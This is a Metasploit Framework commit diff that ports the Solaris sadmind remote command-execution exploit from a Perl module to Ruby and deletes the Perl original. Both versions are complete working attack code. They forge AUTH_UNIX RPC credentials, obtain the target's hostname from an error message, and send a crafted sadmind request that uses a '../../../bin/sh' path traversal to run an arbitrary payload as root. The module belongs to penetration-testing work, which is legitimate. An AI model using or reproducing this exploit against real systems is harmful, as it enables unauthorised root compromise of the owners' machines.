port from vlad, with a few cleanups
git-svn-id: file:///home/svn/incoming/trunk@3491 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
@@ -2,9 +2,9 @@ require 'msf/core'
|
||||
|
||||
module Msf
|
||||
|
||||
class Exploits::Windows::XXX_CHANGEME_XXX < Msf::Exploit::Remote
|
||||
class Exploits::Solaris::Sunrpc::SadmindExec < Msf::Exploit::Remote
|
||||
|
||||
include Exploit::Remote::Tcp
|
||||
include Exploit::Remote::SunRPC
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
@@ -14,291 +14,114 @@ class Exploits::Windows::XXX_CHANGEME_XXX < Msf::Exploit::Remote
|
||||
settings of the sadmind RPC application. This server is
|
||||
installed and enabled by default on most versions of the
|
||||
Solaris operating system.
|
||||
|
||||
|
||||
Vulnerable systems include solaris 2.7, 8, and 9
|
||||
},
|
||||
'Author' => [ 'vlad902 <vlad902@gmail.com>', 'hdm', 'Brian Caswell <bmc@snort.org>' ],
|
||||
'Author' => [ 'vlad902 <vlad902@gmail.com>', 'hdm', 'cazz' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'OSVDB', '4585'],
|
||||
[ 'URL', 'http://lists.insecure.org/lists/vulnwatch/2003/Jul-Sep/0115.html'],
|
||||
[ 'MIL', '64'],
|
||||
|
||||
['OSVDB', '4585'],
|
||||
['URL', 'http://lists.insecure.org/lists/vulnwatch/2003/Jul-Sep/0115.html'],
|
||||
['MIL', '64']
|
||||
],
|
||||
'Privileged' => true,
|
||||
'Platform' => ['unix', 'solaris'],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 512,
|
||||
'Space' => 2000,
|
||||
'BadChars' => "\x00",
|
||||
|
||||
'DisableNops' => true,
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'Automatic Targetting',
|
||||
{
|
||||
'Platform' => 'solaris',
|
||||
'Ret' => 0x0,
|
||||
},
|
||||
],
|
||||
],
|
||||
'Targets' => [ ['Automatic', { }], ],
|
||||
'DisclosureDate' => 'Sep 13 2003',
|
||||
'DefaultTarget' => 0))
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('HOSTNAME', [false, 'Remote hostname', nil]),
|
||||
OptInt.new('GID', [false, 'GID to emulate', 0]),
|
||||
OptInt.new('UID', [false, 'UID to emulate', 0])
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def exploit
|
||||
connect
|
||||
|
||||
handler
|
||||
disconnect
|
||||
sunrpc_create('udp', 100232, 10)
|
||||
sunrpc_authunix('localhost', datastore['UID'], datastore['GID'], [])
|
||||
|
||||
if !datastore['HOSTNAME']
|
||||
print_status('attempting to determine hostname')
|
||||
response = sadmind_request(Rex::Text.rand_text_alpha(rand(10) + 1), "true")
|
||||
|
||||
if !response
|
||||
print_error('no response')
|
||||
return
|
||||
end
|
||||
|
||||
match = /Security exception on host (.*)\. USER/.match(response)
|
||||
if match
|
||||
hostname = match.captures[0]
|
||||
print_status("found hostname: #{hostname}")
|
||||
else
|
||||
print_error('unable to determine hostname')
|
||||
return
|
||||
end
|
||||
else
|
||||
hostname = datastore['HOSTNAME']
|
||||
end
|
||||
|
||||
response = sadmind_request(hostname, payload.encoded)
|
||||
sunrpc_destroy
|
||||
|
||||
if /Security exception on host/.match(response)
|
||||
print_error('exploit failed')
|
||||
return
|
||||
else
|
||||
print_good('exploit did not give us an error, this is good...')
|
||||
sleep(1)
|
||||
handler
|
||||
end
|
||||
end
|
||||
|
||||
=begin
|
||||
def sadmind_request(host, command)
|
||||
header =
|
||||
XDR.encode(0) * 7 +
|
||||
XDR.encode(6, 0, 0, 0, 4, 0, 4, 0x7f000001, 100232, 10, \
|
||||
4, 0x7f000001, 100232, 10, 17, 30, 0, 0, 0, 0, \
|
||||
host, 'system', '../../../bin/sh')
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be redistributed
|
||||
# according to the licenses defined in the Authors field below. In the
|
||||
# case of an unknown or missing license, this file defaults to the same
|
||||
# license as the core Framework (dual GPLv2 and Artistic). The latest
|
||||
# version of the Framework can always be obtained from metasploit.com.
|
||||
##
|
||||
body =
|
||||
do_int('ADM_FW_VERSION', 1) +
|
||||
do_string('ADM_LANG', 'C') +
|
||||
do_string('ADM_REQUESTID', '00009:000000000:0') +
|
||||
do_string('ADM_CLASS', 'system') +
|
||||
do_string('ADM_CLASS_VERS', '2.1') +
|
||||
do_string('ADM_METHOD', '../../../bin/sh') +
|
||||
do_string('ADM_HOST', host) +
|
||||
do_string('ADM_CLIENT_HOST', host) +
|
||||
do_string('ADM_CLIENT_DOMAIN', '') +
|
||||
do_string('ADM_TIMEOUT_PARMS', 'TTL=0 PTO=20 PCNT=2 PDLY=30') +
|
||||
do_int('ADM_FENCE', 0) +
|
||||
do_string('X', '-c') +
|
||||
do_string('Y', command) +
|
||||
XDR.encode('netmgt_endofargs')
|
||||
|
||||
package Msf::Exploit::solaris_sadmind_exec;
|
||||
use base "Msf::Exploit";
|
||||
use strict;
|
||||
use Pex::Text;
|
||||
use Pex::SunRPC;
|
||||
use Pex::XDR;
|
||||
request = header + XDR.encode(header.length + body.length - 326) + body
|
||||
|
||||
my $advanced = {};
|
||||
my $info =
|
||||
{
|
||||
'Name' => 'Solaris sadmind Command Execution',
|
||||
'Version' => '$Revision$',
|
||||
'Authors' =>
|
||||
[
|
||||
'vlad902 <vlad902 [at] gmail.com>',
|
||||
'H D Moore <hdm [at] metasploit.com>',
|
||||
'Brian Caswell <bmc [at] snort.org>'
|
||||
],
|
||||
|
||||
'OS' => [ 'solaris' ],
|
||||
'Priv' => 1,
|
||||
|
||||
'UserOpts' =>
|
||||
{
|
||||
'RHOST' => [1, 'ADDR', 'The target address'],
|
||||
'RPORT' => [1, 'PORT', 'The target RPC port', 111],
|
||||
'UID' => [1, 'DATA', 'UID to emulate', 0],
|
||||
'GID' => [1, 'DATA', 'GID to emulate', 0],
|
||||
},
|
||||
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 512,
|
||||
'BadChars' => "\x00",
|
||||
'Keys' => ['cmd'],
|
||||
},
|
||||
|
||||
'Description' => Pex::Text::Freeform(qq{
|
||||
This exploit targets a weakness in the default security
|
||||
settings of the sadmind RPC application. This server is
|
||||
installed and enabled by default on most versions of the
|
||||
Solaris operating system.
|
||||
}),
|
||||
|
||||
'Refs' =>
|
||||
[
|
||||
['OSVDB', '4585'],
|
||||
['URL', 'http://lists.insecure.org/lists/vulnwatch/2003/Jul-Sep/0115.html'],
|
||||
['MIL', '64'],
|
||||
],
|
||||
|
||||
'Targets' => [ ],
|
||||
|
||||
'Keys' => ['sadmind'],
|
||||
|
||||
'DisclosureDate' => 'Sep 13 2003',
|
||||
};
|
||||
|
||||
sub new {
|
||||
my $class = shift;
|
||||
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
|
||||
return($self);
|
||||
}
|
||||
|
||||
sub Check {
|
||||
my $self = shift;
|
||||
|
||||
my $ret_val;
|
||||
if(($ret_val = sadmind_exec($self, "true")) == -1)
|
||||
{
|
||||
return $self->CheckCode('Generic');
|
||||
}
|
||||
|
||||
if($ret_val =~ m/Security exception on host (.*)\. USER/)
|
||||
{
|
||||
$self->PrintLine("[*] The server reports access denied for sadmind.");
|
||||
return $self->CheckCode('Safe');
|
||||
}
|
||||
|
||||
$self->PrintLine("[*] The server appears to be vulnerable.");
|
||||
return $self->CheckCode('Confirmed');
|
||||
}
|
||||
|
||||
sub Exploit {
|
||||
my $self = shift;
|
||||
my $shellcode = $self->GetVar('EncodedPayload')->RawPayload;
|
||||
|
||||
if(sadmind_exec($self, $shellcode) == -1)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
sleep(3);
|
||||
}
|
||||
|
||||
sub sadmind_exec {
|
||||
my ($self, $cmd) = @_;
|
||||
|
||||
my %data;
|
||||
if(Pex::SunRPC::Clnt_create(\%data, $self->GetVar('RHOST'), $self->GetVar('RPORT'), 100232, 10, "udp", "udp") == -1)
|
||||
{
|
||||
$self->PrintLine("[*] RPC request failed (sadmind).");
|
||||
return -1;
|
||||
}
|
||||
Pex::SunRPC::Authunix_create(\%data, "localhost", 0, 0, []);
|
||||
|
||||
my $ret_val;
|
||||
if(($ret_val = sadmind_request($self, \%data, "m3t45p10i7", "true")) == -1)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
my $target_hostname;
|
||||
if($ret_val && $ret_val =~ m/Security exception on host (.*)\. USER/)
|
||||
{
|
||||
$target_hostname = $1;
|
||||
}
|
||||
else
|
||||
{
|
||||
$self->PrintLine("[*] Could not obtain target hostname.");
|
||||
return -1;
|
||||
}
|
||||
|
||||
$self->PrintLine("[*] Using hostname '$target_hostname'.");
|
||||
Pex::SunRPC::Authunix_create(\%data, $target_hostname, $self->GetVar('UID'), $self->GetVar('GID'), []);
|
||||
|
||||
if(($ret_val = sadmind_request($self, \%data, $target_hostname, $cmd)) == -1)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
Pex::SunRPC::Clnt_destroy(\%data);
|
||||
|
||||
return $ret_val;
|
||||
}
|
||||
|
||||
sub sadmind_request {
|
||||
my ($self, $data_ref, $hostname, $command) = @_;
|
||||
|
||||
my $request_header =
|
||||
Pex::XDR::Encode_int(0).
|
||||
Pex::XDR::Encode_int(0).
|
||||
Pex::XDR::Encode_int(0).
|
||||
Pex::XDR::Encode_int(0).
|
||||
Pex::XDR::Encode_int(0).
|
||||
Pex::XDR::Encode_int(0).
|
||||
Pex::XDR::Encode_int(0).
|
||||
Pex::XDR::Encode_int(6).
|
||||
Pex::XDR::Encode_int(0).
|
||||
Pex::XDR::Encode_int(0).
|
||||
Pex::XDR::Encode_int(0).
|
||||
Pex::XDR::Encode_int(4).
|
||||
Pex::XDR::Encode_int(0).
|
||||
Pex::XDR::Encode_int(4).
|
||||
Pex::XDR::Encode_int(0x7f000001).
|
||||
Pex::XDR::Encode_int(100232).
|
||||
Pex::XDR::Encode_int(10).
|
||||
Pex::XDR::Encode_int(4).
|
||||
Pex::XDR::Encode_int(0x7f000001).
|
||||
Pex::XDR::Encode_int(100232).
|
||||
Pex::XDR::Encode_int(10).
|
||||
Pex::XDR::Encode_int(17).
|
||||
Pex::XDR::Encode_int(30).
|
||||
Pex::XDR::Encode_int(0).
|
||||
Pex::XDR::Encode_int(0).
|
||||
Pex::XDR::Encode_int(0).
|
||||
Pex::XDR::Encode_int(0).
|
||||
Pex::XDR::Encode_string($hostname).
|
||||
Pex::XDR::Encode_string("system").
|
||||
Pex::XDR::Encode_string("../../../bin/sh");
|
||||
|
||||
my $request_body =
|
||||
do_int("ADM_FW_VERSION", 1).
|
||||
do_string("ADM_LANG", "C").
|
||||
do_string("ADM_REQUESTID", "00009:000000000:0").
|
||||
do_string("ADM_CLASS", "system").
|
||||
do_string("ADM_CLASS_VERS", "2.1").
|
||||
do_string("ADM_METHOD", "../../../bin/sh").
|
||||
do_string("ADM_HOST", $hostname).
|
||||
do_string("ADM_CLIENT_HOST", $hostname).
|
||||
do_string("ADM_CLIENT_DOMAIN", "").
|
||||
do_string("ADM_TIMEOUT_PARMS", "TTL=0 PTO=20 PCNT=2 PDLY=30").
|
||||
do_int("ADM_FENCE", 0).
|
||||
do_string("X", "-c").
|
||||
do_string("Y", $command).
|
||||
Pex::XDR::Encode_string("netmgt_endofargs");
|
||||
|
||||
my $request =
|
||||
$request_header.
|
||||
Pex::XDR::Encode_int(length($request_header) + length($request_body) - 326).
|
||||
$request_body;
|
||||
|
||||
if(Pex::SunRPC::Clnt_call($data_ref, 1, $request) == -1)
|
||||
{
|
||||
$self->PrintLine("[*] sadmind request failed.");
|
||||
return -1;
|
||||
}
|
||||
|
||||
Pex::XDR::Decode_int(\$$data_ref{'data'});
|
||||
Pex::XDR::Decode_int(\$$data_ref{'data'});
|
||||
my $string = Pex::XDR::Decode_string(\$$data_ref{'data'});
|
||||
|
||||
return $string;
|
||||
}
|
||||
|
||||
sub do_string {
|
||||
my ($str1, $str2) = @_;
|
||||
|
||||
my $buf =
|
||||
Pex::XDR::Encode_string($str1).
|
||||
Pex::XDR::Encode_int(9).
|
||||
Pex::XDR::Encode_int(length($str2) + 1).
|
||||
Pex::XDR::Encode_string($str2).
|
||||
Pex::XDR::Encode_int(0).
|
||||
Pex::XDR::Encode_int(0);
|
||||
|
||||
return $buf;
|
||||
}
|
||||
|
||||
sub do_int {
|
||||
my ($str1, $int1) = @_;
|
||||
|
||||
my $buf =
|
||||
Pex::XDR::Encode_string($str1).
|
||||
Pex::XDR::Encode_int(3).
|
||||
Pex::XDR::Encode_int(4).
|
||||
Pex::XDR::Encode_int($int1).
|
||||
Pex::XDR::Encode_int(0).
|
||||
Pex::XDR::Encode_int(0);
|
||||
|
||||
return $buf;
|
||||
}
|
||||
|
||||
=end
|
||||
ret = sunrpc_call(1, request)
|
||||
return XDR.decode!(ret, Integer, Integer, String)[2]
|
||||
end
|
||||
|
||||
def do_string(str1, str2)
|
||||
XDR.encode(str1, 9, str2.length + 1, str2, 0, 0)
|
||||
end
|
||||
|
||||
def do_int(str, int)
|
||||
XDR.encode(str, 3, 4, int, 0, 0)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user